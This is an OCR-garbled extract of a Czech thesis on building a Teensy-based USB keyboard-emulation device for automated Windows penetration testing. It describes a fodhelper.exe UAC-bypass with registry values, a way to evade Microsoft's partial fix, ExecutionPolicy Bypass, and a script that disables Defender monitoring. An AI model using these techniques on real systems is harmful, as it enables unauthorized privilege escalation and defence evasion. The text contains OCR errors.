“L} (Default) REG_SZ cmd.exe /c powershell.exe
ab|DelegateFxecute  REG_S7

Obr. 3.1 Nastaveni registru pro fodhelper.exe (pfevzato z [18])

FodhelperBypass -program "cmd.exe /c powershell.exe"
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4 Mikropocditac

Pinker v knize Mikroprocesory a mikropocitace |19] popisuje mikropocitac jako zafi-
zeni na jednom ¢ipu, kterému se také rikd mikrokontroler. Je to procesor velmi malych
rozmeéri zapojeny v integrovaném obvodu spolecné s paméti a vstupné vystupnim roz-
hranim. P¥itomnost ¢ absence jednotlivych periferii urc¢uje, zda se jedna o mikropocitac
univerzalni nebo specializovany. Univerzalni mikrokontroler méa vice periferii nez je ne-
zbytné nutné a je také tak acelové prodavan. Specializované mikropocitace maji ¢asto
za Ucelem tspory nakladi a velikosti zabudovany jen nezbytné nutné prvky. Casto jsou

také pro danou ¢innost na miru navrzeny.

4.1 Zakladni jednotky

V knize Fundamentals of digital logic and microcomputer design [20] je mikropod&itac
popsan jako zafizeni, které se sklada ze 3 zdkladnich jednotek, konkrétné to je jednotka

pro vstup a vystup, Central Processing Unit (CPU) a jednotka paméti.
e Vstupni a vystupni jednotka propojuje externi zafizeni skrz registry (I/O porty).

e CPU se v mikropo¢ita¢i nazyva mikroprocesor. Vykonava vSechny instrukee,

a provadi aritmetické a logické operace.

e V paméti jsou obsazeny vSechny instrukce spolu s daty. Typicky obsahuje Read
Only Memory (ROM) a Random Access Memory (RAM) ¢ipy. ROM se vyuziva
k uloZeni instrukei a dat, ktera se neméni. Je to nevolatilni typ paméti a informace
je dostupna i po odpojeni zdroje. Lze z ni pouze ¢ist. RAM je na druhou stranu
volatilni, informace je dostupna v paméti jen po dobu pfipojeného zdroje. Lze

do ni jak zapisovat, tak také cist.

4.2 Editor a kompilace zdrojového kédu

Perea v knize Arduino Essentials [21] popisuje zéklady prace s mikropocitacem Ar-
duino, naptiklad jak ovladat vyvojové studio a praci s nim. JelikoZ se prace nevyuziva
Arduino ale Teensy, na oficidlni webové strance pro mikropod¢ita¢ Teensy [22] je po-

psano, jak vyuzit vyvojové studio pro Arduino s vlastnim doplitkem Teensyduino.

4.2.1 Vyvojové studio

Pro editaci a kompilaci kodu pro mikropocitace existuje nastroj Arduino Desktop IDE.
Jedna se o multiplatformni software a da se stdhnout z oficidlni webové stranky na

https://www.arduino.cc/en/Guide.
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Obr. 4.1 Tlac¢itka piikazt a funkci Arduino IDE

Zleva doprava to jsou tlacitka:

e verifikace pro kontrolu syntaxe kodu a provedeni kompilace, pokud nejsou nale-

zeny chyby
e nahrani zkompilovaného kédu do mikrokontroleru
e vytvofeni nového listu pro zdrojovy kod
e otevieni existujicitho zdrojového kodu z disku
e ulozeni aktualné editovaného zdrojového kédu

e otevieni okna sériového monitoru pro vizualizaci komunikace mezi pocitacem

a mikropocitacem
4.2.2 Teensyduino

Pro spravnou funkcionalitu je tfeba mit nainstalované ovladace pro komunikaci s mikro-
pocitacem. V pripadé mikropocitace Teensy, ktery neni pfimo podporovany vyvojovym
studiem Arduino Desktop IDE, existuje doplnék Teensyduino, ktery se da stahnout
7z oficidlni webové stranky mikropocitace Teensy z adresy https://www.pjrc.com/t
eensy/td_download.html.

Doplnék umoziuje nejen spolupraci s vyvojovym studiem, pridava navic i plnou
sadu knihoven. Teensy je nastésti porad z vétsi miry kompatibilni i s knihovnami pro

Arduino.
4.2.3 Teensy Loader

Pro nahrani zkompilovaného kodu do Teensy se vyuziva programu Teensy Loader do-
stupny z https://www.pjrc.com/teensy/loader.html. Ten se spusti po piikazu pro

nahrani ve vyvojovém studiu Arduino Desktop IDE.


https://www.pjrc.com/teensy/td_download.html
https://www.pjrc.com/teensy/td_download.html
https://www.pjrc.com/teensy/loader.html
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4.3 Teensy 3.6

Na oficialnich strankach pro Teensy [22| jso uvedeny technické vlastnosti. Mikropodi-
ta¢ ma procesor architektury ARM s taktem 180 MHz, velikost RAM 256KB, flash
pamét 1024KB a 4KB EEPROM. Podporuje pamétovou kartu Miscro SD a jako zafi-
zeni Universal Serial Bus (USB) dokéze komunikovat s pocitacem rychlosti 12Mbit/s.
Disponuje mj. Serial Peripheral Interface (SPI) a Inter-Integrated Circuit (12C).

E@i MKGEF X1MBVMD18 :iLI—_J
= aNeSN

CTAE1544G

Obr. 4.2 Teensy 3.6 (prevzato z [22])

Teensy neni limitovano pro pouziti jen jako sériové zafizeni. Umoziuje byt zaroven
vice typy. Staci v menu nastroju nastavit USB typ, ¢ jejich souhrn. Na obrazku 4.4 je
vidét vybér typi, kterym se Teensy stane pii béhu programu pfi soucasném pripojeni
k pocitaci.

etch Help

Auto Format Ctrl+T

Archive Sketch

Fix Encoding & Reload
P En Serial Monitor Ctrl+Shift+M
3t s Board: "Teensy 2.0" |

Serial Port 2
caup]

USB Type: "Serial” H @  Serial

CPU Speed: "16 MHz" 2 Keyboard + Mouse + Joystick
Bowy Keyboard Layout: "US English” 2 Disk{Internal) + Keyboard

Disk(5D Card) + Keyboard

Bow Programmer 3 tsk(SD Card) + Keyboar
zical _ - MIDI

Obr. 4.3 Vybér USB typu (pfevzato z [22])

4.4 Mikropocita¢ jako nastroj pro penetracéni testovani

Trinka na webové strance [23| popisuje specializovany nastroj USB Rubber Ducky [24].
Je produktem spolecnosti Hak5, kterd prodava ruzné nastroje a pomiicky pro zacina-
jici penetra¢ni testery. Ducky, ktery vypada presné jako USB flash disk, ve skute¢nosti

ale obsahuje programovatelné zaiizeni HID, které dokaze simulovat pfedem naprogra-
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File Operation Help

j - i.. 1

= i L oy
X I XXX XIXXIYX,
blink_fast_Teensy32.hex, 5% used

Obr. 4.4 Nahled programu Teensy
Loader (pfevzato z [22])

mované série stiskli klaves. Kromé Rubber Ducky méa dle Trinky podobné schopnosti

i mikropocitac¢ Teensy, ten je ale nepfivétivy, protoze nema obal.

Obr. 4.5 USB Rubber Ducky (ptevzato z
[24])
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5 Interakce mikropocitace

Pro pripojeni, ovladani a komunikaci mezi zafizenim mikropocitace a testovanym po-

¢itacem je nutné nadefinovat pouzité technologie.

5.1 Sériova komunikace pres USB

Pro ucel této prace se sériovou komunikaci rozumi sériovd komunikace pres USB. Na
jedné strané komunikace je mikropocita¢ Teensy a na druhé pocita¢ s operac¢nim sys-

témem Windows 10.
5.1.1 Teensy

V ¢asti o Teensyduino na oficialni webové strance Teensy [22] je popséana sériova ko-
munikace pies USB. Bézné je sériova komunikce pouzivana pro zobrazeni informaci
v Arduino IDE Serial monitoru 4.2.1.

Standardni knihovna Serial zjednodusuje komunikaci nasledujicimi funkcemi:

e Serial.begin(...) je v pfipadé Teensy volitelnd metoda pro zavolani, vola se

automaticky.
e Serial.available() vraci pocet bajti, které je mozné ¢ist.

e Serial.read() ¢te jeden bajt. Vraci hodnotu 0-255, pokud je co ¢ist, jinak -1.

Bezné se pouziva po zavolani funkce Serial.available().

e Serial.write(...) odesild bajt. Funkci je mozné pouzit i s parametry bufferu

a délky, pro odeslani vice bajti najednou pro rychly a efektivni datovy prenos.

5.1.2 Windows

V dokumentu spolec¢nosti Microsoft [25] je v ramci .NET Framework definovéna tiida

System.I0.Ports.SerialPort, kterd obsahuje metody pro praci se sériovymi porty.

e Open() otevird nové spojeni skrz sériovy port.
e Write(...) zapisuje fetézec poskytnuty jako parametr metodé na sériovy port.

e Close() zavira spojeni na portu.

5.2 Human Interface Device

Zafizeni lidského rozhrani, HID (Human Interface Device), je navrhnuto pro pfimou

interakci s ¢lovékem. Jak popisuje Axelson v knize USB complete: everything you need
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to develop custom USB peripherals |26], vét§ina zafizeni tohoto typu to déla, neni to

vSak pravidlem. Dilezité je, aby svou funkci bylo v kritériich HID t¥idy.

Zde je uvedena ¢ast vyc¢tu hlavnich funcionalit a limitaci zafizeni tiidy HID:

e Vsechna vyménovana data jsou ve strukturach nazyvajici se reporty. Hostitel po-
sila i pfijima data, tedy reporty, v pfenosu skrz kanal fidici nebo kanél preruseni.

Formét reportu méa neménitelnou délku, muze ale obsahovat jakykoliv typ dat.

e HID rozhrani musi mit jeden IN koncovy bod pro pieruseni pro zasilani vstupnich

reporta.
e HID rozhrani miize mit jeden OUT koncovy bod pro pferuseni.

e Je-li potteba vice koncovych bodiu pro preruseni, je mozné vytvotit kompozitni

zafizeni, které obsahuje vice HID.

e Pieruseni na IN koncovém bodu povoluje zatizeni HID zaslat informace hostiteli
v nepiedvidatelnou dobu. Naptiklad stisk klavesy na klavesnici neni predvida-

telny.

e Datovy pienos je limitovany, napiiklad u high-speed koncovych bodi je rychlost
az 24 MB/s.

V dokumentu definujici HID verze 1.11 [27] je uvedena tabulka 5.1 shodné popisujici

vySe uvedeny vycet funkcionalit:

Tab. 5.1 Kanaly rozhrani HID

Kanal Popis Povinné
Ridici Rizeni USB, pozadavky na kody tiid a data. ANO
Preruseni IN Piijem dat ze zafizeni (proud). ANO
Pferuseni OUT Odesilani dat do zaftizeni (proud). NE

5.2.1 Priklady zatizeni

Dokument definujici HID |27] do t¥idy HID dale zahrnuje piedevsim zafizeni, ktera jsou
pouzivana lidmi k ovladani béhu pocitacovych systémii. Mezi typické ptiklady zafizeni

ttidy HID patii napf.:
e klavesnice a ukazovaci zafizeni (napt. standardni my8i, trackbally a joysticky)

e ovladaci prvky na prednich panelech (napt. knofliky, pfepinace, tlac¢itka a posuv-

niky)



UTB ve Zliné, Fakulta aplikované informatiky 31

e ovladaci prvky, které se mohou nachazet na zafizenich jako jsou telefony, dal-
kové ovladani videorekordéru, zafizeni pro simulaci (napft. plynové pedaly, volanty

a smérovky)

e zafizeni, kterd nemusi vyzadovat lidskou interakci, ale poskytuji idaje podobnym
zpusobem ve formétu zafizeni t¥idy HID (napf. ¢tecky ¢arovych kodi, teploméry

nebo voltmetry)

Mnoho zatizeni typickych pro t¥idy HID zahrnuje indikatory, specializované displeje,
zvukové signaly a silovou nebo hmatovou zpétnou vazbu. Proto definice t¥idy HID

zahrnuje podporu raznych typu vystupu ur¢enych pro koncového uzivatele.

5.2.2 Knihovna pro mikropocéita¢ Teensy

Na strance Teensy [22| je popsana simulace klavesnice s vyuzitim funkci.

e Keyboard.print(...) pracuje podobné jako Serial.write(...) (5.1.1) aZ na
to, Ze je zprava je zapsana ve formé thozu na klavesnici. Zapsat je mozné fetézce,

¢isla nebo jednotlivé znaky.

e Keyboard.press(...) poskytuje vyssi kontrolu nad klavesou. Jako parametr je

klavesa a touto funkei je simulovano jeji drzeni.

e Keyboard.release(...) poskytuje vyssi kontrolu nad klavesou. Jako parametr

je klavesa a touto funkci je pusténa.

5.3 Media Transfer Protocol

Hoffman [28] popisuje Media Transfer Protocol (MTP) jako dobfe znamy a pouzivany
protokol pro pienos zvukovych a obrazkovych soubori. Funguje velice odlisné od vel-
kokapacitnich zarizeni USB. Misto toho, aby se odhalila cela souborova struktura v za-
fizeni operacnimu systému, MTP pracuje na trovni soubortu. Pii pfipojeni takového
zalizeni se pocita¢ doptava zafizeni. To nazpét nabidne strukturu slozek a souborii.
Pocitac¢ muze stdhnout soubor pokud si o néj zazada. Pokud chce pocitac ulozit soubor
do zafizeni, tak soubor odeSle, a je na zafizeni jestli ho ulozi. Pro smazani souboru
pocitac¢ posle signdl zatizeni ve formé zadosti.

V praxi jsou MTP funkce podobné jako pro velkokapacitni zafizeni USB. Naptiklad

MTP zafizeni je vidét ve Windows Explorer, takze je mozné soubory prochazet.
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6 Vyroba zafizeni pro penetracéni testovani

Cilem zafizeni je hlavné Setfit Cas penetra¢nimu testerovi, automatizovat testovaci sady
a zachovat posloupnosti vSech prikazi a nastaveni pii testu. Idealni provoz je rezim pii-
poj, ¢ekej a odpoj. Zafizeni by mélo po piipojeni k testovanému pocitaci samostatné
spustit sadu pro komunikaci. Toho se da docilit simulaci klavesnice a programové ovla-
danym psanim na klavesnici, kdy se do testovaného pocitace dostane skript na fizeni
a prubéh testi. V momenté, kdy bézi skript na testovaném pocitaci, je zaroven zafizeni
v médu pro pfenos soubori. Timto zptusobem se daji prenaset vétsi soubory s daleko
vétsi rychlosti v porovnani s vypisem obsahu souboru skrz klavesnici. Po pfenosu se na
testovaném pocitaci stazend sada rozbali a nasledné spusti. Pribéh testu je viditelny
pribézné na malém Organic Light-Emitting Diode (OLED) displeji.

Mohlo by se zdat, ze je zbyteéné umistovat displej piimo na zafizeni, kdyz je béh
testu vidét i na obrazovce pocitace v terminalu. Na obrazovce pocitace je vSak i plno
jinych informaci, ve kterych se tester muze ztratit, zvlast pifi rychlém pohybu textu
v terminalu. Pro lepsi orientaci o probihajici komunikaci a testech je pravé proto pouzit
displej pfimo na zazizeni. Naptiklad tim, Ze zafizeni zobrazi hlaSku o skonceni na
svém displeji, se tester nemusi spoléhat na obrazovku pocitace, ktera se klidné mohla

uzamknout.

Po skonceni testovani je vytvoren vystupni komprimovany soubor se vSemi vysledky
testii, ty jsou pak preneseny zpét na zafizeni. Jakmile je pfenos dokoncen, skript na tes-
tovaném pocitaci po sobé uklidi, aby po testu neztstal neporadek. Nasledné je zaiizeni

pripraveno k odpojeni a vystupy na Micro SD karté pfipravené pro analyzu testerem.

6.1 Konstrukce

Zarizeni se sklad4 z mikropocitace Teensy 3.6, OLED displeje a vzajemnych propojeni.
Celé zafizeni je schovano v malém obalu a vypada jako pfenosny modem nebo USB
flash disk. M4 celkem dva otvory, jeden jako prizor pro displej a druhy jako pfistup ke
karté Micro SD. Obréazek 6.1 zobrazuje vnitini usporadani a zapojeni komponent. Na
obrazcich 6.2 a 6.3 je zkompletované zafizeni.

Na schématu zapojeni 6.4 je vidét pripojeni dvou pull-up rezistorii a displeje na
sbérnici 12C.

6.2 Programovani obsluhujici ¢asti

Projekt vytvofeny pro Arduino IDE je psany ve vlastnim jazyce, ktery je subsetem

C++ a supersetem C.
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Obr. 6.1 Mikropocita¢ s OLED displejem

6.2.1 Pouzité knihovny

Vyuzito je nékolik knihoven, které zajistuji komunikaci napiiklad s OLED displejem

nebo zabudovanym modulem pro praci s Micro SD kartou.

e Teensyduino Core je souhrnem béznych knihoven pro Teensy. Jsou zde funkce
a metody pro praci skrz SPI (pro Micro SD) nebo 12C (OLED displej).

e Teensy MTP Responder je knihovna ptidavajici podporu pro pienos multi-

medialnich soubori.
6.2.2 Identifikace typu zarizeni USB

Mikropocitac¢ pii pripojeni k testovanému pocitaci musi ohlasit jeden nebo vice typi
USB zafizeni, za ktery se vydava. V tomto piipadé je vyuzito tpravy v hlavicko-
vém souboru konfigurace usb_desc.h a je pfidana nova definice, ktera obsahuje roz-
hrani pro sériovou komunikaci, rozhrani klavesnice a rozhrani pro MTP Jeji nazev je
USB_MTPDISK KEYBOARD SERIAL. Diky této konfiguraci je mozné mit viechny
tfi rozhrani komunikace aktivni zaroven a mit tak znac¢né usnadnénou praci s posilanim

prikazu, prenosem souboru a naslouchanim pro zpétnou vazbu.

6.2.3 Princip komunikace mezi zafizenim a testovanym pocditacdem

Celkem zde jsou dva kandaly pro komunikaci. Jednim je klavesnice a druhym sériovy port
zatizeni USB. Klavesnice slouzi hlavné k pienosu piikazi simulujici osobu u pocitace,
neni tedy tuplné vhodna pro oboustranou komunikaci. I kdyz protokol HID umoziuje

posilani informace nazpét (vice o HID je dostupné v kapitole 5.2), neni to optimalni
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Obr. 6.2 Hotové zafizeni

e
Automated Penetration
Test Device

—— -

Obr. 6.3 Pripojené zafizeni do pocitace s uvitaci zpravou na displeji

volba. Na druhou stranu, sériovy port v tomto piipadé daleko lépe slouzi tcelu pro
prenos zpétné vazby zpét do zafizeni.

Komunikaci znazoriuje obrazek 6.5. Po prvotni inicializaci, kdy je zafizeni v testo-
vaném pocitaci rozpoznano a korektné pripojeno, je otevien terminal PowerShell a skrz
simulovanou klavesnici spustén skript pro otevieni sériového spojeni. Ten nejenom spo-
jeni otevie, ale také zajisti, aby se spojeni otevielo na tom spravném portu. Zafizeni
¢ekd na dohodnuty signal. Jakmile ho obdrzi, mize pokracovat dal. Nasleduje série
piikazii pres simulovanou klavesnici pro spusténi testit a sbér jejich vysledku. Kazdy
test ohlasuje sviyj start odeslanim notifika¢niho pt¥ikazu pres sériové spojeni, aby mohlo
zafizeni na displeji zobrazit stavovou zpravu. Po ulozeni vysledkl na zafizeni a tklidu

na testovaném pocitaci, je mozné zahajit ukonceni spojeni.
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Obr. 6.4 Schéma zapojeni (pfevzato a upraveno z [22])

6.3 Pribéh zivotniho cyklu

Na obrazku 6.6 je znazornény pribéh zZivotniho cyklu, kterym se zafizeni ridi od jeho
pripojeni k pocitaci. V pribéhu je na displeji zobrazen stav, ve kterém se zafizeni
nachazi. Béhem spusténych testt je na displeji také zobrazeno poradi pravé béziciho
testu. Po skonceni testovani se zafizeni dostane do posledniho stavu a zafizeni je mozné

odpojit od pocitace.
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Obr. 6.5 Sekvencni diagram komunikace
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Obr. 6.6 Pribéh zivotniho cyklu
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7 Programovy kéd

Tim, Ze je nutné mit spustény kod na obou stranach, navic v rozdilnych programova-
cich jazycich, je tato kapitola rozdélena na dvé ¢asti. a to na ¢ast pro mikrokontroler
a testovany pocitac¢. Pii implementaci kodu byly vyuzity principy navrhu ¢istého kodu
dle knihy Clean Code [29]. Pro lepsi orientaci je mozné nahlédnout do sekvenéniho

diagramu 6.5 a vyvojového diagramu 6.6.

7.1 Mikrokontroler

Kod zde je provadén jako prvni. Zajistuje odesilani kédu pro testovany pocitac a celkové
startuje proces testovani. Pro lepsi orientaci a znovuvyuzitelnost kodovych blokii je cely
kod rozdélen do funkci a pro vnitini synchronizaci vyuziva globalnich proménnych.
Funkce mikrokontroleru jsou uvedeny v piiloze 1.

Nésledujici globalni proménné slouzi k synchronizaci p¥i vykonu nekonec¢né smycky

volani funkce loop() a setupLoop(...).

int setupProcedurelndex;

int nowRunningTestNumber = O;
bool setuplsActive;

bool procedurelnWaiting;

Pro zobrazeni informaci na displeji formou posuvného seznamu (log) jsou k dispozici
¢tyti globéalni proménné, které drzi aktualni hodnotu svého rfadku. Text na displeji je

zobrazen funkci displayPrint(...) a nasledné pridan do logu.

String linel
String line2
String line3
String line4

e we v we

7.1.1 Setup

Tato funkce je spusténa jako prvni. Slouzi k provedeni krokiu nutnych k inicializaci

celého testovaciho procesu:

1. Zobrazeni uvitaci zpravy na OLED displeji funkci printWelcomeMessage (),
2. kontrolu vlozené SD karty funkci checkInsertedSDCard (),
3. inicializaci knihovny vyuzivajici MTP (viz 5.3),

4. spusténi terminalu PowerShell na testovaném pocitaci pres piikaz simulované

klavesnice funkci startPowerShell (),
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5. spusténi termindlu PowerShell v privilegovaném rezimu s vyuzitim zranitelnosti

opera¢ntho systému Windows (viz 3.3) funkei

startPriviledgedPowerShellThroughExploit (),

6. a navazani spojeni z testovaného pocitace do mikrokontroleru skrz sériové spojeni
(viz 5.1).

Funkce 1-3 jsou dostupné v piiloze I, 4-5 v piiloze II. Po této funkci je mikrokont-

rolerem automaticky zavolana funkce Loop.
7.1.2 Loop

Mikrokontroler tuto funkci vol4 v nekonecéné smycce. Tim, Ze je pro plnou a spolehli-
vou funkcionalitu MTP pro pfenos souborti nutné volat co nejcastéji mtpd.loop(), je
zadouci, aby veskera prace v této funkci byla vzdy co nejkratsi. Zaroven je zde naim-
plementovéan tzv. Setup loop (obsah je v 7.1.3), ktery spousti dalsi kroky pro inicializaci
celého procesu pred testovanim. Takto je mozné mit spusténou inicializaci a zaroven

funkéni prenos soubort pres MTP.

A7 je incializace hotova, jsou spustény testy. Aby mikrokontroler védél, jak testovani
pokracuje, a jestli uz ndhodou neskoncilo, neustale kontroluje sériové spojeni. Muzou

prijit nasledujici zpravy ve formé znaku:

e 1 je restart procesu pro MTP

n indikace dalsiho probihajiciho testu

f proces zabaleni vysledkii do archivu a nahrani na SD kartu muze zadit

e c 7ada o prikaz ¢isténi pocitace po provedenych testech

e je posledni zprava a znaci ukonceni préace
7.1.3 Funkce inicializace

Jak bylo popsano v piedchozich podkapitolach, nejdiiv je nutné postupné spustit pii-

pravné funkce:

1. Vytvoreni docasného adresaie na testovaném pocitaci. Ten slouzi k ulozeni testi,
nastroji pro testovani a nasledné i k ulozeni vysledku. Po skonceni testii je tento

adresar smazan.

2. Kontrola, Ze testovany pocita¢ dokdze nacist zarizeni M'TP.
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3. Kopirovani soubort pro testovani na testovany pocita¢ do docasného adresare.
4. Rozbaleni soubort pro testovani z archivu.

5. Poslednim bodem je spusténi testu.

7.2 Testovany pocditac

Ridici kod spoustény na testovaném pocitac¢i je nutné zadat pomoci simulované kla-
vesnice. Zadavani probiha do otevieného PowerShell terminalu. Jelikoz je posilano vice
prikazii zaroven, musi se jednotlivé piikazy oddélit stfednikem. Pro zabranéni posi-
lani dalsich piikazi pred dokoncenim vSech piedchozich, je na nékteré konce seznamu
prikazi pridavan piikaz sériové komunikace $connection.Write (ZNAK) se znakem vy-
jadfujici signal pro mikrokontroler (jaké znaky to jsou lze vidét v podkapitole 7.1.2).
Ten se pak muze rozhodnout, jestli poslat dalsi piikazy nebo tifeba ukoncit testovani.

Funkce pro testovany pocitac jsou uvedeny v piiloze II.

7.2.1 Start sériové komunikace

Tato komunikace je vyuzivana hlavné smérem z testovaného pocitace do mikrokontro-
leru. Princip je popsan v podkapitole 5.1. Zac¢atek kodového bloku je anotovan zavola-
nim displayPrint("Start Serial COM").

JelikoZ neni predem znamé, na jakém sériovém COM portu bude zafizeni pro sério-
vou komunikaci dostupné, je tento port zjistén az po pripojeni. Zjisténi probih& pomoci
identifikdtoru vyrobce a vyrobku. V tomhle piipadé to je kod vyrobce VID_16C0 a vy-
robku PID_047A.

Po otevieni spojeni mezi testovanym pocitacem a mikrokontrolerem probéhne vy-

ména ocekavanych znaku. Tim je funkcénost spojeni ovéfena a muze se pokracovat dale.

7.2.2 ZneuZiti zranitelnosti

Funkce startPriviledgedPowerShellThroughExploit () vyuZiva zranitelnosti popsané
v podkapitole 3.3. V dobé psani tohoto skriptu jiz spole¢nost Microsoft tuto zranitelnost
¢astecné opravila. Pokud je spustén blok kodu, ve kterém se vyskytuji klicové Fetézce
zminénych registri a piikaz pro spusténi programu fodhelper, je provedeni kédu zablo-
kovano. Tohle omezeni se da obejit, pokud se klicové fetézce od sebe oddéli a vkladaji
se do terminalu postupné simulovanou klavesnici. Vlozené piikazy je ale nutné provést
okamzité, protoze je klicovy registr pravidelné ¢istény opera¢nim systémem. Mize se
tedy stat, ze se piikaz neprovede, ale je to velmi mala pravdépodobnost. Pokud se i tak

stane, cely proces bude pokracovat dal v neprivilegovaném rezimu. Navic je mozné
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cely proces testovani hned zopakovat, protoze je zneuziti zranitelnosti provedeno na

samotném zacatku.
7.2.3 Vytvoreni doCasného adresare

Aby testy naruSovaly adresafovou strukturu v testovaném pocitadi co nejméné, je
vytvofen funkci createTempFolderOnTestedMachine() docasny adresil v adresaii
TEMP.

7.2.4 Kontrola dostupnosti tlozigté zarizeni

Jelikoz probih4d mnoho asynchronnich kroki, je tfeba délat neustalé kontroly o do-
stupnosti. To plati i v situaci programové Fizeného tlozisté v mikrokontroleru. Aby
mél testovany pocitac jistotu, ze je uz zafizeni pFipraveno, je spuSténa cekaci funkce
waitForAccessibleMTPFolder (). Ta ve smycce zkousi, jestli je jiz pripojené zafizeni

v piipraveno pro pifenos soubort.

7.2.5 Kopirovani nastroji a testt

Kvili pouzitému protokolu MTP (vice v podkapitole 5.3) je nutné piistupovat k soubo-
rum a slozkam formou dotazi (podobné jako u File Transfer Protocol (FTP)). Funkce
copyRequiredFilesForTests () se postupné dotazuje na jednotlivé slozky a soubory.

Pro 1cely testovani jsou zkopirovany na testovany pocitac postupné archivy nastroju
a nasledné test. V archivu jsou obé c¢asti kvuli zefektivnéni rychlosti prenosu. Vice
souborti znamena vyssi rezii. Navic je pfenos pomérné pomaly a takto se prenasi mensi
objem dat.

Po zkopirovéani je zavolana funkce extractTestFiles (), kterou se archivy rozbali.

7.2.6 Spusténi testu

Funkce startTests () postupné nacte veskery obsah ze slozky testi a zacné prochazet
jednotlivé slozky, ve kterych je v jednotném forméatu soubor skriptu testu. Pribézné je

posilan signal mikrokontroleru vzdy, kdyz zacne exekuce dasl$iho testu.

Za pomoci pfikazu

powershell -ExecutionPolicy Bypass SKRIPT | Out-File VYSTUP

je spustén soubor skriptu s testem. Vystup tohoto béhu je smérovan do vystupniho
souboru. Zaroven je nastavena droven zabezpeceni pro spouStény skript na Bypass

(obejiti). Timto nastavenim neni provedeni skriptu blokované opera¢nim systémem.
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7.2.7 Zabaleni vysledkii do archivu

Provedeni nastane po zavolani funkce zipResultsAndCopyToSDCard (). Ucel této funkce
je pfimocary. Po zavolani testovany pocitac¢ zabali veskery obsah ze slozky pro vysledky
do archivu formatu ZIP. Pro zjednodusSen{ identifikace je archiv pojmenovan s mistnim
datumem a ¢asem. ZjednodusSeni ovSem piinasi jen v piipadé spravné nastaveného casu

v systému testovaného pocitace.

7.2.8 Ukondéeni

Zavér prace na testovaném pocitaci je ukoncen funkci cleanUp(). Ta zafidi uklid

a oznami mikrokontroleru aspésné dokonceni.
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8 Navod pro pouZiti

Zde se nachézi navod, jak zafizeni pouzivat, a co je vSechno potieba, aby byl pribéh

testovani hladky.

8.1 Podporované prostiedi

Zafizeni je optimalizovino pro béh na pocitaci s opera¢nim systémem Windows 10.
Je nutné, aby na testovaném zafizeni bylo povoleno pfipojovani novych USB zafizeni
(nékteré antimalware programy mohou nova zafizeni blokovat). Zarovei je tieba, aby
byl pii béhu, a pii pripojeni zafizeni, piihlaSen uzivatel s odemknutou obrazovkou. Pro
ucely zadavani kodu pro béh je tieba, aby cilovy testovany pocita¢ mél jazyk prostiedi
nastaveny na angli¢tinu. V nejidealnéjsim piipadé by mél uzivatel mit opravnéni pro
eskalaci prav do role administratora systému. Timto zptusobem se d& oc¢ekavat nejhladsi

priubéh testt v jejich plné mife.
8.2 Prerekvizice

Tester musi byt obeznamen s pouzitymi nastroji v testech, jejich ptikazy a jejich pru-
béhem. Musi také byt pfipraven na situaci, kdy se z néjakého duvodu test pierusi. To
miize zpusobit napiiklad preruseni dodavky proudu, nebo interakce uzivatele s pocita-
¢em. V takovém piipadé muze byt upravena konfigurace pocitace a je nutno ji manuédlné
vratit. Doporucuji provést zalohu nastaveni pocitace pred zacatkem testu.

Do zafizeni se pfipojuje Micro SD karta s testy a nastroji. Doporucuji dostateéné
velkou kapacitu karty pro vysledky testi a hlavné nastroje.

Aby testy probihaly co nejrychleji a nejspolehlivéji, neni vhodné provadét jakéko-
liv jiné operace, které by systém zpomalovaly, ¢i ménily jeho konfiguraci (napiiklad

instalace, aktualizace nebo vzdélené sprava).

8.3 Interakce s testovanym pocitacem

Aby mohlo testovani zadit, je nutné, aby byl pocitac¢ spustény a odemceny (uzivatel
byl piihlagen). Pro spusténi testi sta¢i zafizeni ptipojit do portu USB.

Na displeji zafizeni se postupné zobrazi nékolik hlasek o provedenych krocich. Za
zminku stoji kontrola pfitomnosti Micro SD karty. Pokud chybi, uzivateli je tato zprava

zobrazena a zafizeni ¢ekd na jeji vlozeni.

Zacina testovani. V zévislosti na velikosti nastroji a délce pribéhu testlii se mize
délka testovani lisit na kazdém testovaném pocitaci. Po nahrani vysledku test na Micro
SD kartu je na displeji zobrazena hlaska o skonceni. Zafizeni je mozné vyjmout a na

Micro SD karté jsou dostupné vysledky.
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8.4 Vytvoieni nového testu

Testy jsou nacitany automaticky a je nutné dodrzet adresafovou strukturu. Celé za-
fizeni pracuje s Micro SD kartou naformatovanou jako FAT32. V kofenovém adresari
musi existovat dva archivy, a to tests.zip pro testy a tools.zip pro nastroje. Jak
bude vypadat archiv s nastroji, je plné na testerovi. Struktura pro testy je ale jasné

dana.

Po rozbaleni archivu s testy by mél vzniknout adresar s ndzvem archivu. Uvnit¥
musi byt dalsi adresare, které nesou nazev testu. V téchto adresarich jsou pak samotné
testy. V pribéhu testovani je z kazdého takového adresare spustén soubor skriptu s né-
zvem test.psl. Tento soubor skriptu je spustén v privilegovaném rezimu. Spusténi
probihé& za vyuziti zranitelnosti operac¢niho systému Windows, takze neni tfeba Tesit
vkladdani hesla administratora. Pokud chce tester vyuzit néstroje z adresafe nastroji,

miize v testu vyuzit relativni cestu testfiles\tools\.

8.5 Vyhodnoceni vysledki

Vysledky jsou po kazdém testovani jsou uloZeny na Micro SD karté ve formatu ZIP.
Je tedy nutné vysledky zkopirovat do pocitace a tam je rozbalit. Vysledky jsou po-
jmenovany s ¢asem testu. Podslozky jsou pak nazvany podle jména testu s vesSkerymi

vystupy béhu testovaciho skriptu.
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9 Piiklady testt

V této kapitole jsou nazvy podkapitol shodné s nazvy testii. Jsou k nalezeni v ptiloze
na CD. Jeho obsah je v priloze III.

9.1 DisableDefenderMonitoring

Spusténim tohoto testu dojde k pokusu o vypnuti programu Microsoft Defender. Vy-
uziva se prikazu Set-MpPreference pro tpravu nastaveni. Piikaz je popsan v doku-
mentaci na webové strance https://docs.microsoft.com/en-us/powershell/mod

ule/defender/set-mppreference?view=windowsserver2019-ps.

9.1.1 Prikaz

# Vypis nastaveni pred zménou
$preferences = Get-MpPreference
# Ulozeni plvodnich hodnot
$mpRealtimeMonitoring =
[System.Convert] : :ToBoolean($preferences.DisableRealtimeMonitoring)
$mpBehaviorMonitoring =
[System.Convert] : :ToBoolean($preferences.BehaviorMonitoring)
echo "## Toggle monitorings: There will be errors if
it can not be toggled ##"

# Ovlivnéni nastaveni Defenderu
Set-MpPreference -DisableRealtimeMonitoring (

-not ($mpRealtimeMonitoring))
Set-MpPreference -DisableBehaviorMonitoring (

-not ($mpBehaviorMonitoring))
# Obnoveni plvodniho stavu
echo "## Toggle to original state and print MpPreference ##"
Set-MpPreference -DisableRealtimeMonitoring $mpRealtimeMonitoring
Set-MpPreference -DisableBehaviorMonitoring $mpBehaviorMonitoring
# Vypis nastaveni na konci testu
Get-MpPreference

